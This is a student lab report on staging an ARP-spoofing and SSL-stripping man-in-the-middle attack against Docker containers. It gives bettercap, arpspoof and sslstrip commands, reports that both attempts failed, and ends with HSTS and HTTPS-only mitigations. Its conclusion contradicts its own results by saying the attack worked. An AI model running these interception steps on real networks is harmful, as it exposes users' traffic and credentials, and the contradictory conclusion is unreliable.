Network Security Lab 1

Jordi Nadeu Ferran

1 Introduction

In this laboratory we simulate a SSL Striping attack in a controlled environment. To do this laboratory we will use three docker containers. An NGINX container hosting two websites: one on HTTP and one on HTTPS, a Debian minimal image with curl installed that acts like a victim and Kali Linux container to simulate an attacker.

In summary:

1. **nginx** container: A web server that serves HTTP and HTTPS pages.
2. **victim** container: A target container that will be used to simulate a victim machine.
3. **kali** container: A container that acts as an attacker (Man-in-the-Middle) to perform ARP spoofing and traffic redirection.

The structure of folders and files is as follows:

```
nginx/
+-- Dockerfile
+-- nginx.conf
+-- html/
|   +-- http.html
|   +-- https.html
|   +-- style.css
+-- certs/
|   +-- selfsigned.crt
|   +-- selfsigned.key
victim/
+-- Dockerfile
kali/
+-- Dockerfile
+-- ARPspoof.sh
+-- redirectIPtables.sh
```

2 Build and run Docker containers

First of all we will create a docker network to interconnect the containers, to do this we need to execute the following command:

```
docker network create lab-net
```

With the following commands create and run the container where we serve the two web pages using nginx:

```
docker build -t nginx ./nginx
```

```
docker run -d --name nginx --network lab-net -p 8080:80 -p 8443:443 nginx
```

For the victim container from which we will make the requests to the web pages using the curl tool. Following commands

```
docker build -t victim ./victim
```

```
docker run --network lab-net --name victim -it victim
```

Once we are inside the victim container and we set up the kali container explained below, we can run following command to check if arp spoofing are working properly:

```
arp -n
```

And finally to check if the attack is succed we can use this curl command:

```
curl --tls-max 1.2 -v -k https://172.18.0.2
```

To identify the IP addresses of the victim and router we can use the following command, this point will be useful when we need to change the IPs of victim and router if is necessary in the ARPspoof.sh script inside the kali container:

```
docker network inspect lab-net
```

Finally the last conatiner we will open another terminal and follow the commands to create and run the container where we will perfom the attack after:

```
docker build -t kali ./kali
```

```
docker run -it --name kali --network lab-net kali
```

3 Doing the SSL Stripping Attack using bettercap

Once we run the kali container with interactive shell, we can continue with this steps.

Enable IP Forwarding in the Kali Container running the following command:

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

We start by testing with the bettercap tool. We do the following steps. Start Bettercap with the appropriate network interface, in our case "eth0":

```
bettercap -iface <interface-name>
```

Then in the Bettercap interactive shell, run where in our case the victim IP are the IP of the nginx container ("172.18.0.2"):

```
set arp.spoof.targets <victim-ip>
set http.proxy.sslstrip true
set http.proxy.sslstrip.mode rewrite
arp.spoof on
http.proxy on
```

Then we only need to verify if in the victim's browser, HTTPS connections it will be downgraded to HTTP. We have had problems with the attack, specifically when activating the http.proxy module in the bettercap it gives me an Exit status code 4 and I have not been able to activate this module which is necessary to do the ssl stripping. I found an issue with the same problem as mine but I couldn't find a solution. https://github.com/bettercap/bettercap/issues/909

4 Doing the SSL Stripping Attack manually

Then we try to do it manually using arpspoof and ssltrip tools instead of bettercap.

We run the container using this command:

```
docker run --cap-add=NET_ADMIN --network lab-net --name kali -it kali
```

Then we open other terminals and execute this command to attach the kali container

```
docker exec -it kali /bin/bash
```

Once we are inside the kali container in multiples terminals, we execute first of all the redirect IP tables rules.

To do this we only need to execute the following script:

```
./redirectIPtables.sh
```

Then to start de ARP spoof attack to router and victim we need to check the IPs of the script and then execute it:

```
./ARPspoof.sh
```

Once we have this steps done, we finally in other terminal connected to kali container ("docker exec -it kali /bin/bash"), we need to execute de sslstrip tool:

```
sslstrip -l 80
```

And in this point we can check if the attack are succed or not. In our case we have not been able to finish the attack successfully. It still does not perform the redirection from https to http.

The arp spoof works correctly, it seems that the MITM set up is correct but it does not redirect the traffic from port 443 to port 80 and then the sslstrip tool is not doing anything.

5 Conclusions

The SSL stripping attack worked by exploiting weaknesses in the HTTP to HTTPS transition, combined with ARP spoofing to intercept traffic. The ARP poisoning are a MITM (Man-in-the-Middle) to position themselves as the intermediary between the victim and the server.

The mitigation requires a combination of server side configurations, user education, and network security tools. We can mitigate configuring web servers to enforce HSTS policies, ensuring that the browsers only communicate with the site using HTTPS.

Another way to try to mitigate this kind of attacks are avoid hosting any content on HTTP. Redirect all HTTP traffic to HTTPS at the server level changing nginx configuration.

Also we can implment DNS over HTTPS or DNSSEC, that also can mitigate such attacks by protecting DNS queries.